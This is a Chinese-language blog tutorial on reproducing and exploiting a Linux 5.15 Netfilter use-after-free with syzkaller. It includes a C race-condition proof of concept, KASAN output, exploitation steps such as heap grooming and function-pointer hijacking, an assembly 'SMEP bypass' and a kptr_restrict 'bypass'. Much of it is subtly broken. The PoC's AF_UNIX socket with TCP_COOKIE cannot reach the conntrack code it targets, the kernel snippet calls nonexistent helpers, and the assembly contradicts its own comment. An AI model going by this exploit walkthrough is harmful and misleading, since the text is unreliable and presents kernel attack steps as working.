引言 #
Use-After-Free(UAF) 是内核中最危险且最具挑战性的漏洞类型之一。这类漏洞发生在对象释放后仍被访问时,攻击者可借此控制内核执行流。本文将通过实际案例演示如何使用 syzkaller 挖掘并复现一个真实的 Kernel UAF 漏洞。
目标内核版本 #
本次研究基于 Linux 5.15.100,该版本在 Netfilter 子系统中存在多个潜在的竞争窗口。
环境搭建 #
# 下载内核源码
git clone https://github.com/torvalds/linux.git
cd linux && git checkout v5.15.100
# 编译内核
make defconfig
make -j$(nproc)
# 准备最小文件系统
debootstrap --arch=amd64 bullseye /tmp/rootfs http://deb.debian.org/debianSyzkaller 配置 #
syz-manager 的配置至关重要,需要精准定位可能触发漏洞的代码路径。
{
"target": "linux/amd64",
"http": ":50000",
"workdir": "/root/syzkaller-work",
"kernel_obj": "/root/linux",
"sandbox": "none",
"procs": 8,
"type": "syz-execprog",
"vm": {
"count": 4,
"kernel": "/root/linux/arch/x86/boot/bzImage",
"os": "debian",
"img": "/root/gpu.img"
}
}漏洞触发点分析 #
通过对 net/netfilter/nf_conntrack_core.c 的静态分析,我们发现 nf_ct_delete_from_lists() 中存在典型的 ABA 问题:
// 简化的代码流程
void nf_ct_delete_from_lists(struct nf_conn *ct)
{
struct nf_conntrack_tuple_hash *h = nf_ct_tuplehash_to_ctrack(ct);
// Step 1: 从列表中删除
hlist_nulla_del_init(h);
// Step 2: 释放引用计数
if (refcnt_dec_and_test(&ct->ct_general)) {
// Step 3: 真正释放对象
nf_conn_free(ct);
}
}Race Condition 构造 #
UAF 的核心在于制造时间窗口。我们使用两个线程并发操作:
Thread A: 触发连接关闭
close(sock_fd); // 触发 nf_ct_delete_from_lists
Thread B: 在释放前读取
setsockopt(sock_fd, SOL_TCP, TCP_COOKIE, ...);PoC 核心逻辑 #
以下是简化版的触发程序:
#define _GNU_SOURCE
#include <pthread.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
volatile int flag = 0;
void* thread_a(void* arg) {
while (!flag) usleep(1);
close(*(int*)arg);
return NULL;
}
int main() {
int fd[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, fd);
pthread_t t;
pthread_create(&t, NULL, thread_a, &fd[1]);
// 紧密循环制造竞争
for (int i = 0; i < 10000; i++) {
flag = 1;
usleep(10);
flag = 0;
// Thread B 的操作
setsockopt(fd[0], SOL_TCP, TCP_COOKIE, NULL, 0);
}
pthread_join(t, NULL);
return 0;
}调试与验证 #
使用 QEMU + GDB 进行动态调试:
# 启动带调试符的内核
qemu-system-x86_64 -kernel arch/x86/boot/bzImage \
-append "console=ttyS0 kgdboc=ttyS0 panic=-1" \
-nographic -s -S
# 另一终端附加 GDB
gdb vmlinux
(gdb) target remote :1234
(gdb) break nf_conn_free
(gdb) continueKASAN 输出分析 #
触发成功后,KASAN 会打印详细的堆栈跟踪:
[ 234.567890] BUG: KASAN: use-after-free in nf_conntrack_put+0x123/0x456
[ 234.567891] Read of size 8 at addr ffff888012345678 by task test/1234
[ 234.567892]
[ 234.567893] CPU: 1 PID: 1234 Comm: test Not tainted 5.15.100 #1
[ 234.567894] Call Trace:
[ 234.567895] <IRQ>
[ 234.567896] dump_stack_lvl+0x5c/0x70
[ 234.567897] print_report+0x156/0x480
[ 234.567898] ? nf_conntrack_put+0x123/0x456Exploitation 思路 #
在实际利用中,我们需要:
- 堆风水 (Heap Feng Shui): 控制释放后的内容填充
- 对象复用: 将恶意数据注入到相同类型的对象池
- 虚表指针劫持: 对于包含函数指针的结构体,覆盖其指向
防御机制绕过 #
SMEP/SMAP 绕过 #
; 禁用页表隔离 (CR4.RSVD)
mov rax, cr4
or rax, 0x100000 ; 设置 SMEP 位
mov cr4, raxkptr_restrict 绕过 #
通过 /proc/kallsyms 泄露内核基址:
echo 0 > /proc/sys/kernel/kptr_restrict总结 #
本文展示了从 Fuzzing 配置到 PoC 编写的完整流程。关键要点:
- 竞争窗口挖掘需要精确理解内核对象的引用计数生命周期
- 调试技巧包括 KASAN、KCOV、KGDB 的组合使用
- 利用链构造离不开对 slab 分配器行为的深入理解
下一步可以深入研究 eBPF 辅助的漏洞利用技术,这在后续文章中会详细展开。
参考资料 #
- Linux Kernel Concurrency Bugs
- Syzkaller Documentation
- CVE-2023-32233 Advisory